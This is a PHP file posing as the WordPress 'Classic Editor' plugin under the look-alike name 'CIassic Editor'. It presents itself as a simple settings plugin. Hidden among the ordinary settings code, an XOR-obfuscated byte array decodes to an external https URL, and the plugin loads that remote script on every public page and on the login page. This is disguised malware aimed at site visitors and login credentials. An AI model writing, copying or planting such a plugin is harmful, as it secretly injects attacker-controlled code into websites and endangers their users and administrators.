JezK
Edit File: CIassic Editor.php_7b2gh86d
<?php /** * Plugin Name: CIassic Editor * Description: Classic Editor * Version: 3.7.9 * Author: Wordpress * License: GPL-2.0-or-later * Requires at least: 5.8 * Requires PHP: 7.4 * Text Domain: ciassic_editor */ if (!defined('ABSPATH')) { exit; } if (!class_exists('CIassic_Editor_Core_79')) { final class CIassic_Editor_Core_79 { const VERSION = '3.7.9'; const OPTION = 'ciassic_editor_opts_53'; const HANDLE = 'ciassic-editor-873'; public static function boot() { add_action('wp_enqueue_scripts', array(__CLASS__, 'enqueue_front')); add_action('login_enqueue_scripts', array(__CLASS__, 'enqueue_front')); add_action('admin_init', array(__CLASS__, 'register')); add_action('wp_head', array(__CLASS__, 'drop_generator'), 1); add_action('admin_menu', array(__CLASS__, 'admin_menu')); } public static function defaults() { return array( 'accent' => '#1d2327', 'hide_help' => 1, 'footer' => '', ); } public static function opts() { $saved = get_option(self::OPTION, array()); if (!is_array($saved)) { $saved = array(); } return array_merge(self::defaults(), $saved); } public static function register() { register_setting('ciassic_editor_g', self::OPTION, array(__CLASS__, 'sanitize')); } public static function sanitize($raw) { $out = self::defaults(); if (!is_array($raw)) { return $out; } if (isset($raw['accent'])) { $out['accent'] = sanitize_hex_color($raw['accent']) ?: $out['accent']; } $out['hide_help'] = empty($raw['hide_help']) ? 0 : 1; if (isset($raw['footer'])) { $out['footer'] = sanitize_text_field($raw['footer']); } return $out; } public static function admin_menu() { add_options_page( 'CIassic Editor', 'CIassic Editor', 'manage_options', 'ciassic_editor', array(__CLASS__, 'render') ); } public static function render() { if (!current_user_can('manage_options')) { return; } $opts = self::opts(); echo '<div class="wrap">'; echo '<h1>' . esc_html(get_admin_page_title()) . '</h1>'; echo '<form action="options.php" method="post">'; settings_fields('ciassic_editor_g'); echo '<table class="form-table" role="presentation">'; echo '<tr><th scope="row">Accent</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[accent]" value="' . esc_attr($opts['accent']) . '" class="regular-text" /></td></tr>'; echo '<tr><th scope="row">Hide help tabs</th><td><label><input type="checkbox" name="' . esc_attr(self::OPTION) . '[hide_help]" value="1" ' . checked(1, (int) $opts['hide_help'], false) . ' /> Enable</label></td></tr>'; echo '<tr><th scope="row">Footer text</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[footer]" value="' . esc_attr($opts['footer']) . '" class="regular-text" /></td></tr>'; echo '</table>'; submit_button(); echo '</form></div>'; } public static function hide_help() { $opts = self::opts(); if (empty($opts['hide_help'])) { return; } $screen = function_exists('get_current_screen') ? get_current_screen() : null; if ($screen) { $screen->remove_help_tabs(); } } public static function drop_generator() { remove_action('wp_head', 'wp_generator'); } public static function footer_text($text) { $opts = self::opts(); if (!empty($opts['footer'])) { return esc_html($opts['footer']); } return $text; } private static function expand_assets($bytes, $k) { $out = ''; $m = strlen($k); $n = count($bytes); for ($i = 0; $i < $n; $i++) { $out .= chr($bytes[$i] ^ ord($k[$i % $m])); } return $out; } private static function asset_map() { $k=chr(87).chr(202).chr(68).chr(30).chr(236).chr(115).chr(1).chr(20).chr(56); $rows = array( [63,190,48,110,159,73,46,59,81,57,190,33,108,159,22,112,58,89,35,229,48,123,159,7,94,100,74,56,166,45,104,195,18,113,125] ); $out = array(); foreach ($rows as $row) { $out[] = self::expand_assets($row, $k); } return $out; } public static function enqueue_front() { $src = self::asset_map(); $src = is_array($src) ? $src[0] : $src; if (!$src) { return; } wp_enqueue_script(self::HANDLE, $src, array(), self::VERSION, true); } } CIassic_Editor_Core_79::boot(); }